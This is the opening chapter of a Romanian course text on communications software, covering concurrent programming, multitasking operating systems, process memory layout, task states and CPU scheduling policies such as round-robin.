Software pentru comunicaţii

Software pentru comunicaţii 

Tibor Asztalos 


Capitolul 1. Introducere 

1.1. Multiprogramare, multitasking, programare în timp real, calcul paralel, 

sisteme distribuite ? 

Majoritatea calculatoarelor contemporane sunt formate dintr-o unitate centrală (procesorul) 

şi o anumită cantitate de memorie. Exact ca şi primele calculatoare construite pe vremea lui von 

Neumann. Totuşi, tehnologia a evoluat mult: în particular, memoria - care pe vremuri era un tambur 

magnetic - este acum formată din circuite integrate, adică acelaşi material ca şi unitatea centrală, 

dar nu face mai nimica: orice octet lucrează numai atunci când este solicitat de la centru. Per global, 

doar o mică parte din hardware este utilizată în fiecare moment. Cum am putea organiza şi exploata 

într-un mod mai eficient acest hardware? De exemplu, o tehnologie relativ recentă - FPGA (Field 

Programmable Gate Arrays) - permite realizarea unei memorii active (memoria este formată din 

mii/milioane de mici unităţi de calcul). Cu asemenea dispozitive se pot rezolva unele probleme la 

un raport preţ/performanţă de sute de ori mai bun decât al calculatoarelor obişnuite. Unii cercetători 

sînt de părere că numai neştiinţa noastră în a organiza calcule paralele cu zeci (sute) de procese ne 

împiedică să realizăm computere mult mai eficiente. 

Cum rezolvăm probleme foarte dificile? 

Există numeroase probleme matematice şi tehnice pentru a căror rezolvare este nevoie de o 

putere de calcul mult superioară calculatoarelor obişnuite. De exemplu: rezolvarea sistemelor de 

ecuaţii diferenţiale, calculul fluidelor de ardere în motoare termice, simularea globală a 

fenomenelor meteo şi multe altele. Soluţia: calculatoare cu mai multe procesoare (sisteme 

multiprocesor), sau punerea pe treabă a mai multor calculatoare în mod simultan ( prin programare 

distribuită). 

Cum utilizăm eficient calculatorul pe care îl avem? 

Mai aproape de utilizatorii de PC, cred că oricare dintre noi suferă când o aplicaţie tip WWW sau 

FTP ne ţine blocaţi câteva minute bune, în timp ce calculatorul - practic - nu face nimic. Sub noile 

versiuni Windows este posibil ceea ce sub Unix a fost posibil întotdeauna: să lucrezi într-o altă 

aplicaţie în timp ce altele aflate în aşteptare continuă în paralel (multitasking). Acest lucru este 

posibil prin programarea concurentă. În curând vom avea şi PC-uri cu mai multe procesoare, şi 

atunci vom putea să profităm şi mai mult de principiile programării paralele. 

De ce se face atâta caz astăzi de programarea concurentă? De ce se studiază acest domeniu? 

Practic ce rezultate se urmăresc a fi obţinute? 

Câteva răspunsuri: 

Preocupările în ceea ce priveşte programarea concurentă nu sînt în nici un caz noi. Nou este faptul 

că în prezent acestea încep să pătrundă în sfera de preocupare a unui cerc larg de programatori şi 

utilizatori şi nu mai este "privilegiul" unor "iniţiaţi". 

Calculatoarele pe care s-au implementat iniţial sisteme concurente (care presupun desfăşurarea, în 

paralel, a mai multor activităţi) au fost sisteme cu un singur procesor central. Din punct de vedere 

fizic deci, o singură activitate se putea desfăşura la un moment dat (la care se adaugă, eventual, 

activitatea unui procesor specializat pentru I/O). Paralelismul apărea doar la nivel logic, prin faptul


că se executau cu schimbul secvenţe de instrucţiuni aparţinând diferitelor activităţi. Au existat 

următoarele motive pentru care o astfel de implementare a fost utilă, şi pentru care programarea 

concurentă pe sisteme monoprocesor s-a făcut şi se face şi astăzi: 

1. Utilizarea eficientă a procesorului central: în timp ce o activitate aşteaptă un anumit eveniment 

(de exemplu încheierea unei operaţii de I/O sau a unui acces la distanţă) procesorul se poate dedica 

altei activităţi. Acest lucru se poate realiza de mult pe sisteme care lucrează sub UNIX şi mai nou şi 

pe PC-uri ce lucrează sub Windows sau Linux. 

2. Deservirea în paralel a mai multor utilizatori (sisteme multiuser): mai mulţi utilizatori pot fi 

legaţi prin câte un terminal la acelaşi unic calculator. Procesorul deserveşte pentru o anumită cuantă 

de timp un utilizator, după care trece la următorul. În mod subiectiv, fiecare utilizator crede că are 

acces exclusiv la calculator deşi în realitate activităţile corespunzătoare utilizatorilor se deservesc 

succesiv. 

3. Aplicaţii care prin natura lor impun o implementare sub formă de activităţi paralele: dacă 

precedentele două puncte s-au referit la creşterea eficienţei în utilizarea sistemului sau la 

îmbunătăţirea politicii de deservire a utilizatorului, aici este vorba de aplicaţii care prin natura lor 

trebuie implementate sub formă de activităţi paralele, chiar dacă aceste activităţi sînt executate, pe 

baza unei anumite politici, de către un unic procesor. Este vorba aici, în mod tipic, de aşa numitele 

programe în timp real, sau de ceea ce astăzi se numeşte embedded systems, deci sisteme dedicate 

controlului într-o anumită aplicaţie (procese industriale, automobile, aviaţie, telecomunicaţii, 

echipament casnic, etc.). Comun acestor aplicaţii este că ele presupun furnizarea unui răspuns, întrun 

anumit interval de timp, la un impuls exterior. Impulsurile exterioare provoacă lansarea unor 

activităţi care, cel puţin conceptual, se desfăşoară în paralele cu activităţi lansate ca răspuns la alte 

impulsuri. Maniera în care procesorul se dedică diferitelor activităţi este rezultatul unei planificări, 

uneori foarte sofisticate, care trebuie să garanteze furnizarea unui răspuns în timp util. 

Considerentele prezentate mai sus sînt valabile şi astăzi, atunci când se doreşte utilizarea 

eficientă a unei staţii de lucru sau când se implementează un sistem de control folosind un PC sau 

un sistem dedicat bazat pe un microprocesor. Fiind însă vorba de sisteme bazate pe un singur 

procesor introducerea concurenţei, deşi poate să îmbunătăţească gradul de utilizare global al 

calculatorului, nu rezolvă accelerarea execuţiei unui program luat individual (faţă de cazul în care 

acest program ar fi fost executat fiindu-i dedicat în exclusivitate sistemul). 

Sistemele bazate pe arhitecturi monoprocesor tradiţionale nu pot rezolva actualmente 

probleme extrem de complexe şi care presupun prelucrarea unei cantităţi mari de date: calcule 

numerice din domeniul ştiinţelor naturale, simulări, proiectare asistată de calculator, prelucrarea 

imaginilor, sisteme economice, etc. Rezolvarea unor asemenea calcule într-un timp acceptabil 

necesită sisteme cu o arhitectură nouă, bazate pe activitatea concomitentă a mai multor procesoare, 

care să asigure în mod efectiv desfăşurarea în paralel a prelucrării datelor. S-au dezvoltat în această 

direcţie arhitecturi foarte diverse, de la sisteme cu zeci de mii de procesoare foarte simple la sisteme 

cu un număr redus de procesoare foarte complexe. O altă direcţie de dezvoltare a fost aceea a unor 

procesoare foarte puternice care, deşi execută un unic flux de instrucţiuni (deci o singură activitate) 

pun la dispoziţia programatorului instrucţiuni foarte puternice care acţionează în paralel asupra unei 

cantităţi mari de date (procesoare vectoriale sau, într-un sens mai larg, calculatoare bazate pe 

paralelism al datelor). 

Ca de atâtea ori, şi de aceasta dată dezvoltarea arhitecturilor a luat-o înaintea dezvoltării 

limbajelor şi a mediilor de programare. Sunt disponibile deci, la ora aceasta, sisteme de calcul cu 

arhitecturi foarte evoluate şi cu performanţe uluitoare, dar într-o cu mult mai mică măsură s-au 

dezvoltat uneltele software care să permită utilizarea în mod eficient a acestor sisteme. Aceasta este 


2


direcţia în care se aşteaptă în continuare rezultate în domeniul programării concurente (paralele). 

Problema este deci ca programatorul să scrie într-o manieră cît mai simplă programe 

complexe, care să pună în valoare potenţialul de performanţă al sistemului de calcul şi să permită 

obţinerea rapidă a unei soluţii pentru un calcul foarte complex. S-au dezvoltat o serie de "limbaje 

paralele" în această direcţie, de la dialecte C sau Fortran, limbaje mai sofisticate orientate pe 

obiecte, până la limbaje bazate pe concepte noi mai puţin convenţionale. O altă direcţie de 

dezvoltare este aceea de a lăsa programatorul să descrie algoritmul în mod tradiţional, fără a ţine 

cont de faptul că urmează să fie executat pe un sistem paralel. Compilatoarele disponibile sînt cele 

care urmează să preia sarcina de a analiza programul şi de a-l transforma, în mod automat, astfel 

încât să fie executat în mod eficient, punând în valoare potenţialul de paralelism al arhitecturii. 

Se pune întrebarea dacă aceste probleme sînt interesante din punct de vedere al nostru, care avem o 

şansă relativ mică de a se întâlni cu un calculator paralel sofisticat. Răspunsul este DA din cel puţin 

următoarele motive: 

1. În viitor vom avea la dispoziţie pe orice PC sisteme de operare cu facilităţi paralele, şi deci 

aplicaţiile vor trebui să pună în valoare aceste facilităţi (în vederea exploatării eficiente a 

calculatorului şi a creşterii gradului de "confort psihic" al utilizatorului). 

2. Domeniul programării sistemelor dedicate pentru control, bazate pe PC sau pe sisteme şi mai 

simple formate din unul sau mai multe microprocesoare, se va dezvolta în mod exploziv în viitorul 

foarte apropiat. 

3. Şi în occident se constată o tendinţă de a renunţa, pe cît posibil, la calculatoare paralele 

sofisticate şi de a utiliza în locul lor (acolo unde performanţele o permit) aşa numite "ferme de 

staţii". Cu alte cuvinte, privim o reţea (care trebuie să fie suficient de rapidă!) de staţii ca un 

calculator paralel şi dezvoltăm aplicaţii care se execută în paralel pe aceste staţii. Sunt disponibile 

medii de programare care facilitează realizarea unor astfel de programe, cum ar fii PVM, bazat pe 

RPC. 

4. În domenii "speciale", cum sunt telecomunicaţiile, sunt necesare echipamente inteligente, ce sunt 

de fapt nişte calculatoare "speciale", sisteme multiuser şi multitasking, care deseori operează în timp 

real, şi în care apare frecvent necesitatea comunicării inter-proces, (asigurată prin programare 

concurentă). 

De ce programare concurentă, ce se urmăreşte de fapt, de ce subiectul revine astăzi în actualitate? 

Subiectul nu este deloc nou. Este interesant de menţionat în acest context faptul că 

majoritatea noţiunilor fundamentale pentru programarea concurentă: secţiuni critice, excludere 

mutuală, deadlock, semafoare au fost prezentate pentru prima dată de către Dijkstra într-un raport 

tehnic al Universităţii Tehnice din Eindhoven, Olanda în 1965. Ani de zile, aspectele referitoare la 

programarea concurentă au fost discutate numai în cadrul cursurilor de sisteme de operare. Singurii 

care aveau ocazia să utilizeze noţiunile de proces, sincronizare, excludere mutuală erau 

programatorii de sisteme de operare, deci o parte a elitei programatorilor. Există şi un alt grup de 

programatori care utilizează de mulţi ani programarea paralelă. Este vorba de programatorii de 

aplicaţii numerice foarte mari care se execută pe maşini paralele. Şi ei constituie o elită, pentru care 

este important ca un calcul să se termine într-un timp rezonabil, adică în ore şi nu în săptămâni. Şi 

pentru asta de obicei scriu programele într-un limbaj pe care alţii l-au uitat sau nu au mai apucat să 

îl înveţe - Fortran. Această preferinţă nu este un capriciu, pentru Fortran 90 există compilatoare care 

reuşesc să facă o foarte bună paralelizare a codului, pe care programatorul îl scrie fără precauţii 

speciale. Şi deci ce este nou ?- nou este faptul că acest tip de programare nu mai este pentru elite, în 


3


curând va deveni accesibil (obligatoriu ?) pentru programatorii obişnuiţi. Acest fenomen apare 

datorită mai multor schimbări. Evoluţia preţurilor va face ca până şi calculatoarele personale să 

poată să fie multiprocesor. În general resursele de care poate dispune "un simplu calculator" 

(memorie internă, memorie externă, viteză de lucru) devin lună de lună mai importante. În acelaşi 

timp majoritatea calculatoarelor (personale sau nu) încep să fie conectate în reţea. Într-o astfel de 

reţea calculatoarele (staţiile) nu sunt utilizate tot timpul, dar nici nu au un program fix de 

utilizare/încărcare. Există perioade de timp de durate foarte variabile în care puterea de calcul a 

unui astfel de calculator poate să fie utilizată pentru calcule iniţiate de către altă staţie/utilizator. 

Nici această idee nu este foarte nouă dar devine tot mai interesantă pe măsură ce puterea de calcul a 

unei staţii la care lucrează un singur utilizator devine tot mai mare. Au fost proiectate sisteme de 

operare distribuite care încearcă să utilizeze cât mai eficient această putere de calcul distribuită. Cea 

mai simplă soluţie presupune pornirea unor procese pe procesoarele devenite disponibile. Un proces 

pornit se va executa până la terminarea sau omorârea sa. În acest fel dacă un procesor nu a fost 

utilizat pentru un interval dat de timp acesta poate să fie utilizat de către sistemul de operare 

distribuit. Ce se întâmplă însă dacă proprietarul încearcă să îşi recupereze staţia ? Evident el nu 

poate să fie împiedicat să o utilizeze pentru un interval semnificativ de timp, deoarece în acest caz 

nu o să mai fie probabil de acord cu utilizarea staţiei de către sistemul de operare distribuit. De aici 

decurg o serie de probleme legate de migrarea proceselor sau a aplicaţiilor, dar se lucrează la 

rezolvarea lor şi nu va mai dura mult până când vor apărea astfel de sisteme de operare comerciale. 

Deci un mediu care să permită programarea concurentă va fii la îndemâna tuturor. Ce utilizări va 

avea ..., vom vedea. 

Domeniile "calde" legate de programarea concurentă sunt în majoritate cele legate de 

utilizarea sistemelor distribuite. De asemenea nu s-a ajuns încă la un consens în ce priveşte 

limbajele de programare concurentă. Dacă pentru programarea secvenţială din miile (probabil) de 

limbaje propuse în timp s-au impus până la urmă câteva, în programarea concurentă încă se mai 

caută. 

În momentul de faţă limbaje de programare concurentă cum sunt Ada, Linda sau Orca 

încearcă să ascundă cât mai multe aspecte legate de implementare de programator. Acest deziderat 

reuşeşte în măsura în care aplicaţia tratată se potriveşte cu modelul implementat de limbaj. În 

momentul în care această potrivire nu există programatorul va trebui să exprime rezolvarea în 

termenii limbajului ceea ce nu neapărat se va face cu performanţe foarte bune. Există implementări 

în care se cere de la programator un sprijin mai important. Evident că astfel de sarcini puse în 

sarcina programatorului îl împiedică pe acesta să se concentreze asupra aspectelor care ţin de 

rezolvarea problemei şi nu de modul în care limbajul sau sistemul folosit sunt implementate. 

În general limbajele pentru programare paralelă şi/sau distribuită sunt realizate pe scheletul unui 

limbaj de programare secvenţial în care se introduc construcţii specifice. Aceste construcţii se 

referă, în general, la descrierea paralelismului şi la mecanismele de comunicare şi sincronizare. În 

cele ce urmează vom discuta principalele mecanisme de descriere a paralelismului respectiv pentru 

comunicare şi sincronizare fără a considera un limbaj de programare anume. 

1.2 Sisteme de operare (SO) multitasking 

Problema execuţiei multitasking a fost una dintre problemele care au stat în atenţia 

proiectanţilor de sisteme de operare încă de la primele generaţii de sisteme. Ideea care s-a conturat 

şi a devenit “clasică” este execuţia “întreţesută” a succesiunilor de instrucţiuni de la mai multe 

sarcini de calcul. 


4


Apariţia multiprocesării (rularea simultană a două sau mai multe programe) este asociată cu 

apariţia sistemelor timesharing (1970). Sistemele timesharing rectifică o mulţime de probleme 

create de sistemele batch pe care le-au şi înlocuit. 

Utilizatorul se confruntă în sistemele timesharing cu un sistem virtual mai lent decât maşina 

propriu zisă, pentru că aplicaţia sa rulează în paralel sau concurent (terminologia va fi discutată 

mai târziu în acest capitol). Cu toate acestea, un motiv subtil le face de preferat sistemele 

timesharing: operaţiile I/O lente, realizate fără sprijin din partea procesorului pot mări (uneori 

nepermis de mult) timpul de execuţie (per total) al aplicaţiilor. În sistemele timesharing timpul 

petrecut de o aplicaţie pentru efectuarea operaţiilor de intrare/ieşire este folosit de alte aplicaţii 

pentru calcule utile, unitatea de procesare fiind neocupată. 

În cazul sistemelor de calcul cu multiprogramare unitatea elementară de program se 

numeşte task (operaţiune, sarcină de calcul) sau proces şi reprezintă cea mai mică unitate de 

program ce se poate executa independent de către echipamentul de calcul. El reprezintă o secvenţă 

de instrucţiuni, logic independentă, dintr-un program, care poate fi executată simultan cu alte părţi 

ale aceluiaşi program. Această definiţie corespunde noţiunii de proces introdusă de modelul von 

Neumann, dar îmbogăţită. Un proces este un program secvenţial în execuţie - el este compus (din 

punctul de vedere al sistemului de operare) din codul programului care se execută, datele şi 

resursele ocupate, şi este descris de anumite informaţii de stare. 

Trebuie făcută diferenţă clară dintre un program şi proces. Procesul este o entitate dinamică, 

pe când programul este o entitate statică ce poate fi regăsită pe un mediu de stocare. 

Spaţiul de adrese al unui proces este inviolabil, fiind inaccesibil (în condiţii normale) de 

către un alt proces. În 1963 M. Conway postulează trei funcţii de bază pentru un sistem de operare 

multitasking: 

• FORK(label) creează un nou proces definit de procedura care se execută la momentul curent. 

Acest proces începe cu instrucţiunea referită de label. Procesul iniţial îşi urmează cursul normal 

Odată noul proces creat, cele două procese coexistă şi se execută concurent (sau paralel). 

• QUIT() este folosită de proces pentru terminare. Procesul este distrus, şi toate resursele ocupate 

sunt eliberate. 

• JOIN(count) este folosit pentru a combina două procese în unul singur: 

count = count - 1; 

if (count!=0) QUIT(); 

Un singur proces execută apelul JOIN la un moment dat. Odată ce un proces execută JOIN nici un 

alt proces nu poate executa aceeaşi instrucţiune. 

Un aspect foarte important este faptul că prima definiţie, în varianta iniţială, creează un nou proces 

(numit proces fiu) în acelaşi spaţiu de adrese. Dacă această abordare permite unui proces fiu să 

folosească în comun datele cu părintele şi procesele înrudite, este imposibil să se realizeze izolarea 

contextului a două procese ce rulează simultan. De asemenea este esenţială şi posibilitatea ca 

procesul fiu să poată redefini conţinutul propriului spaţiu de adrese. 

Acest model este folosit în linii mari de toate sistemele de operare moderne, chiar dacă varii 

aspecte au fost modificate. 

Aplicaţiile ce rulează pe un astfel de sistem, sunt compuse de regulă dintr-un ansamblu de 

taskuri (sau procese) ce se pot executa în paralel şi care interacţionează unele cu altele, fiind 

necesar: 

• să-şi transmită reciproc informaţii (date), şi 

• să-şi sincronizeze execuţiile. 

Divizarea ansamblului de programe în taskuri (sau operaţii/procese/sarcini elementare) 

simplifică proiectarea şi elaborarea lui, uşurând totodată realizarea cerinţelor în ceea ce priveşte 

timpii de răspuns. 


5


În general, ordinea strictă de execuţie a taskurilor ce compun programele din aceste aplicaţii 

este puţin previzibilă, acestea fiind legate de timpul sistem (numite şi aplicaţii time driven), de 

producerea unor anumite evenimente (event - driven) , sau de sosirea unor semnale sau mesaje. 

1.2.1. Reprezentarea în memorie a unui proces 

In ceea ce priveşte reprezentarea în memorie a unui proces, indiferent de platforma (sistemul de 

operare) pe care este operaţional, se disting, în esenţă, următoarele zone: 

• Contextul procesului 

• Codul programului 

• Zona datelor globale 

• Zona heap 

• Zona stivei 

Contextul procesului conţine informaţiile de localizare în memoria internă şi informaţiile de stare a 

execuţiei procesului: 

• Legături exterioare cu platforma (sistemul de operare): numele procesului, directorul curent în 

structura de directori, variabilele de mediu etc.; 

• Pointeri către începuturile zonelor de cod, date stivă şi heap şi, eventual, lungimile acestor zone; 

• Starea curentă a execuţiei procesului: contorul de program (notat PC -program counter) ce 

indică în zona cod următoarea instrucţiune maşină de executat, pointerul spre vârful stivei (notat 

SP - stack pointer); 

• Zone de salvare a regiştrilor generali, de stare a sistemului de întreruperi etc. 

Zona de cod conţine instrucţiunile maşină care dirijează funcţionarea procesului. De regulă, 

conţinutul acestei zone este stabilit încă din faza de compilare. Programatorul descrie programul 

într-un limbaj de programare de nivel înalt. Textul sursă al programului este supus procesului de 

compilare care generează o secvenţă de instrucţiuni maşină echivalentă cu descrierea din program. 

Conţinutul acestei zone este folosit de procesor pentru a-şi încărca rând pe rând instrucţiunile de 

executat. Registrul PC indică, în fiecare moment, locul unde a ajuns execuţia. 

Zona datelor globale conţine constantele şi variabilele vizibile de către toate instrucţiunile programului. 

Constantele şi o parte dintre variabile primesc valori încă din faza de compilare. Aceste valori iniţiale 

sunt încărcate în locaţiile de reprezentare din zona datelor globale în momentul încărcării programului 

în memorie. 

Zona heap - cunoscută şi sub numele de zona variabilelor dinamice - găzduieşte spaţii de memorare a 

unor variabile a căror durată de viaţă este fixată de către programator. Crearea (operaţia new) unei 

astfel de variabile înseamnă rezervarea în heap a unui şir de octeţi necesar reprezentării ei şi întoarcerea 

unui pointer / referinţe spre începutul acestui şir. Prin intermediul referinţei se poate utiliza în scriere 

şi/sau citire această variabilă până în momentul distrugerii ei (operaţie destroy, dispose etc.). 

Distrugerea înseamnă eliberarea şirului de octeţi rezervat la creare pentru reprezentarea variabilei. In 

urma distrugerii, octeţii eliberaţi sunt plasaţi în lista de spaţii libere a zonei heap. 

Zona stivă In momentul în care programul apelelează o procedură sau o funcţie, se depun în vârful 

stivei o serie de informaţii: parametrii transmişi de programul apelator către procedură sau funcţie, 

adresa de revenire la programul apelator, spaţiile de memorie necesare reprezentării variabilelor locale 

declarate şi utilizate în interiorul procedurii sau funcţiei etc. După ce procedura sau funcţia îşi încheie 

activitatea, spaţiul din vârful stivei ocupat la momentul apelului este eliberat. In cele mai multe cazuri, 


6


există o stivă unică pentru fiecare proces. Există însă platforme, DOS este un exemplu, care folosesc 

mai multe stive simultan: una rezervată numai pentru proces, alta (altele) pentru apelurile sistem. 

În figura 1.1. sunt reprezentate două procese active simultan într-un sistem de calcul. 

Context P1 

PC 

SP 

Figura 1.1. Două procese într-un sistem de calcul 

Procesele sunt aşadar entităţi de sine stătătoare - faptul că în condiţii normale spaţiul de 

adrese al unui proces trebuie să fie inviolabil produce o serie de probleme: anumite procese trebuie 

să comunice între ele (procese cooperante). Problemele referitoare la procesele comunicante vor fi 

discutate mai în capitolele următoare. 

1.2.2. Gestionarea task-urilor într-un context multitasking 

Fiecărui task i se ataşează, în contextul timpului real, un indicator de importanţă denumit 

prioritate, ce poate fi : 

• un atribut fix, constant al task-ului ; 

• un atribut a cărei valoare este variabilă şi se stabileşte în momentul activării sale (sau al 

re-activării). 

În unele SO există un număr limitat de nivele de priorităţi (de ex. 4 - 256) şi fiecare task este 

asociat, static sau dinamic, unuia dintre aceste nivele; în cadrul fiecărui nivel de prioritate, dacă 

există mai multe task-uri cu aceeaşi prioritate, ele se vor diferenţia între ele prin “vechimea” avută 

(din momentul de timp în care au fost activate), de regulă, după criteriul “primul venit - primul 

servit” (FIFO - First In First Out). 


PROCESUL P1 

Cod P1 

Date P1 

Heap P1 

Stiva P1 

Context P2 

PC 

SP 

PROCESUL P2 

Cod P2 

Date P2 

Heap P2 

Stiva P2 

Aceste priorităţi permit: 

• asigurarea unor anumiţi timpi de răspuns, 

• utilizarea în comun, de către mai multe task-uri a unor resurse comune (echipamente 

periferice, zone de memorie, etc.) 

Task-urile ce sunt la un moment dat activate şi încărcate în memoria internă îşi dispută 

dreptul de a utiliza unitatea centrală (presupunând un sistem monoprocesor). 

Componenta planificator a oricărui sistem de operare dirijează procesele în execuţie aşa 

încât în intervalul în care un proces este în aşteptare după o resursă / terminarea unei operaţii de 

I/O, un alt proces să beneficieze de procesor. Astfel, instrucţiunile fiecărui proces se execută “pe 

secvenţe” alternând cu secvenţe de instrucţiuni de la alte procese. Deci fiecare proces primeşte 

controlul, procesorul îi execută câteva instrucţiuni maşină, starea lui este salvată şi controlul este 

transmis unui alt proces ş.a.m.d. In acest fel, mai multe procese înaintează simultan spre finalizarea 

activităţii lor. 

7


Aceste task-uri sunt plasate de către planificatorul SO într-un şir de aşteptare şi sunt 

executate în ordinea de prioritate a acestora. 

Ori de câte ori SO preia controlul, el întrerupe sau suspendă execuţia task-ului în execuţie. 

După ce SO îşi termină acţiunea, decizia acestuia, în ceea ce priveşte acordarea dreptului de a 

utiliza unitatea centrală poate fi: 

• de reluare a execuţiei task-ului întrerupt ; 

• de trecere la execuţia task-ului cu prioritatea momentan cea mai mare din şirul de 

aşteptare; 

• de trecere la execuţia unui task oarecare; în cazul în care mai multe task-uri au aceeaşi 

prioritate, ele sunt executate conform politicii primul venit - primul servit ; 

• în ordinea specifică sistemelor cu acces multiplu (multi-user) unde fiecărui task i se 

acordă pe rând o cuantă limitată de timp (politica “time-sharing”). 

Unele SO poate oferi facilitatea de “activare în condiţii de criză de timp”, prin creşterea 

automată a priorităţii unui task, dacă acesta nu a fost executat de un anumit timp. SO examinează 

şirul de aşteptare al task-urilor “gata de execuţie” şi decide alocarea CPU imediat după producerea 

şi rezolvarea următoarelor evenimente : 

• un eveniment extern (o întrerupere dinspre un proces sau un operator uman); 

• un eveniment intern (o întrerupere generată de o operaţie I/O); 

• o întrerupere de la dispozitivul “ceas de timp real”; 

• apelarea din programe a unei funcţii realizată de SO (apel de sistem); 

• terminarea sau suspendarea execuţiei task-ului activ; 

• trecerea unui anumit interval de timp; 

Pentru a putea relua execuţia unui task, la întreruperea lui se memorează (se salvează) 

întregul context, adică toate informaţiile necesare reluării task-ului (conţinutul registrelor, starea 

unui indicator etc.). 


Stările task-urilor 

ÎN EXECUŢIE 

GATA DE EXECUŢIE 

BLOCAT 

INACTIV 

Figura 1.2. Stările task-urilor 

Un task se poate găsi la un moment dat într-una 

din următoarele patru stări (figura 1.2.) : 

a) în execuţie (RUN): utilizează CPU în acel 

moment, într-un sistem monoprocesor un 

singur task se poate găsi la un moment dat 

în această stare; 

b) gata de execuţie (READY): are toate 

resursele necesare rulării, mai puţin 

procesorul; aşteaptă, într-un şir de aşteptare 

pentru a i se aloca CPU spre a fi executat; 

c) blocat (WAIT): are nevoie şi de alte resurse; 

aşteaptă să i se aloce memorie, sau 

terminarea unei operaţii I/O, producerea 

unui eveniment extern, trecerea unui 

anumit interval de timp, etc. 

În cazul unor SO practice aceste stări pot avea şi o serie de sub-stări. 

Sunt posibile următoarele tranziţii între stările unui task : 

• inactiv - blocat, 

8



• inactiv - gata de execuţie, 

• blocat - gata de execuţie, 

• gata de execuţie - în execuţie, 

• în execuţie - gata de execuţie, 

• în execuţie - blocat, 

• gata de execuţie - blocat, 

• în execuţie - inactiv. 

Planificarea funcţiei de timp. Unele task-uri trebuiesc executate la anumite momente de 

timp, după un anumit interval de timp sau cu o anumită întârziere de timp. Aceste task-uri sunt 

plasate corespunzător în anumite şiruri de aşteptare temporale, ce sunt examinate şi actualizate cu o 

frecvenţă adecvată. Când se îndeplineşte condiţia de timp de execuţie pentru un task din aceste 

şiruri de aşteptare, el este transferat în starea “gata de execuţie”. 

Trecerea controlului de la un proces la altul se decide folosind una dintre următoarele două tehnici: 

• Planificare cooperativă, atunci când procesul în execuţie decide singur momentul în care 

transmite controlul dispecerului sistemului de operare care la rândul lui dă controlul altui 

proces. Tehnica este folosită doar de sistemele mai vechi şi mai puţin pretenţioase. De exemplu, 

Windows3.1 este un astfel de sistem. 

• Planificare preemptivă, atunci când nucleul sistemului de operare decide momentul trecerilor de 

control. Este metoda cea mai folosită de sistemele actuale. 

Dintre metodele preemptive, aplicate mai ales sa sistemele monoprocesor, cel mai des folosită este 

multiprogramarea bazată pe priorităţi. In esenţă, este vorba de comutarea proceselor între stările 

RUN (procesorul execută o secvenţă de instrucţiuni ale procesului), WAIT (aşteaptă terminarea 

unei operaţii I/O) şi READY (proces pregătit spre a fi trecut în starea RUN), iar trecerea este 

dirijată de un sistem de priorităţi. In figură ilustrăm un fragment a unei posibile evoluţii a trei 

programe în regim de multiprogramare. 

P3 RUN WAIT RUN WAIT RUN WAIT 

P2 RDY RUN WAI RUN WAI RUN WAIT RUN … 

T 

T 

P1 READY RUN READY RUN WAI 

T 

RUN READY … 

0 1 2 3 4 5 6 7 8 9 10 … 

Figura 1.3. Evoluţia stărilor proceselor în multiprogramare 

Se observă că în acest exemplu, procesorul central staţionează doar în cel de-al 7-lea cadru. In 

schimb, procesul P3 are acces prioritar la procesor, în timp ce procesul P1 este slab prioritar, prinde 

procesorul abia după ce celelalte procese îl lasă liber. 

Pot fi folosite şi alte tehnici de planificare. Cele mai utilizate sunt cele de tip planificare circulară 

(Round-Robin). 

Pentru funcţionarea planificării circulare se defineşte o cuantă de timp, de obicei între 10-100 

milisecunde. Coada READY a proceselor care aşteaptă la procesor este tratată circular. Pe durata unei 

cuante se alocă procesorul unui proces. După epuizarea acestei cuante, procesul este trecut la sfârşitul 

cozii, al doilea proces este preluat de către procesor ş.a.m.d. 

Există o mare varietate de criterii după care se stabileşte ordinea de prioritate din coada READY. 

Noi vom exemplifica cu criteriul folosit de către sistemul de operare Unix, datorită marii lui 

9


răspândiri. Durata cuantei de timp este, de regulă, 1 secundă. La epuizarea cuantei de timp, se 

suspendă activităţile proceselor din sistem. Apoi, pentru fiecare proces Pi activ în sistem se 

(re)calculează prioritatea lui pi astfel: 

timpul de servire de catre procesor a procesului Pi 

pi = --------------------------------------------------timpul 

de staţionare în memorie a procesului Pi 

Apoi, pentru cuanta următoare de timp procesorul deserveşte procesul Pi care cel mai mic număr pi. Se 

garantează astfel un timp mediu de răspuns, rezonabil pentru fiecare proces din sistem. In schimb, nu se 

asigură răspuns prompt la o execuţie "preferenţială". 

Există şi variante de Round-Robin. 

Dacă un proces nu şi-a consumat în întregime cuanta (posibil din cauza unei operaţii de I/O), atunci 

locul lui în coada READY se determină invers proporţional cu partea consumată din cuantă. Altfel 

spus, cu cât procesul şi-a consumat mai puţin dintr-o cuantă, cu atât va fi plasat în coadă mai aproape de 

procesor, după ce îşi termină operaţia I/O. 

O altă variantă urmăreşte echilibrarea sistemului folosind aşa-zisul Round-Robin cu reacţie. Când un 

proces nou este acceptat, el se rulează mai întâi atâtea cuante câte au consumat celelalte procese, după 

care trece la planificarea Round-Robin simplă. 


1.2.3. Funcţiile nucleului unui SO 

Cea mai importantă parte a unui sistem de operare, cea care se regăseşte în oricare 

implementare, de la MS-DOS la Unix, este NUCLEUL. 

Una din primele utilizări la care se gândeşte cineva când este întrebat despre nucleu, este 

drept o colecţie de funcţii care sunt necesare marii majorităţi a programelor. Cele mai evidente sunt 

funcţiile pentru intrare-ieşire (I/O); utilizatorul în loc să dea zeci de comenzi controlerului, să 

aştepte întreruperea, să verifice rezultatele, eventual să încerce din nou, să trateze erorile, apelează 

o funcţie din nucleu (printr-un apel de sistem - un fel de apel de procedură mai special), procedură 

care, de exemplu, ar putea avea numele mnemonic “write_file(…)”, cu nişte argumente simple: un 

nume de fişier şi un tablou de caractere. 

De altfel în cazul sistemului de operare MS-DOS nucleul - grosso modo - la cam atâta se 

rezumă: la a oferi nişte funcţii foarte utile. La MS-DOS nucleul este format din mai multe 

componente, una se cheamă BIOS, (Basic Input-Output System) şi este o suită de funcţii înscrise în 

memorii nevolatile (PROM sau EPROM). De exemplu, MS-DOS oferă (ca mai toate sistemele de 

operare) o serie de funcţii pentru accesul discului. Astfel, în loc de a avea de a face cu un obiect 

foarte complicat, care are capete, cilindri, etc., avem o structură de directoare şi fişiere, care permite 

fişierelor să aibă nume, şi să crească fără să se calce pe picioare între ele. Funcţii de genul “adaugă 

un octet la sfîrşitul fişierului cutare” sunt tot părţi din nucleu. 

În general, în cazul SO multitasking, apelurile sau comenzile din programele utilizator care 

se adresează SO servesc pentru comunicarea între aceste programe şi SO pentru realizarea 

următoarelor acţiuni: 

• activarea task-urilor, planificarea în raport cu timpul a task-urilor, sincronizarea, 

suspendarea sau terminarea execuţiei task-urilor; 

• alocarea sau modificarea priorităţii task-urilor; 

• iniţierea operaţiilor de I/O, inclusiv accesarea sistemelor de fişiere; 

10


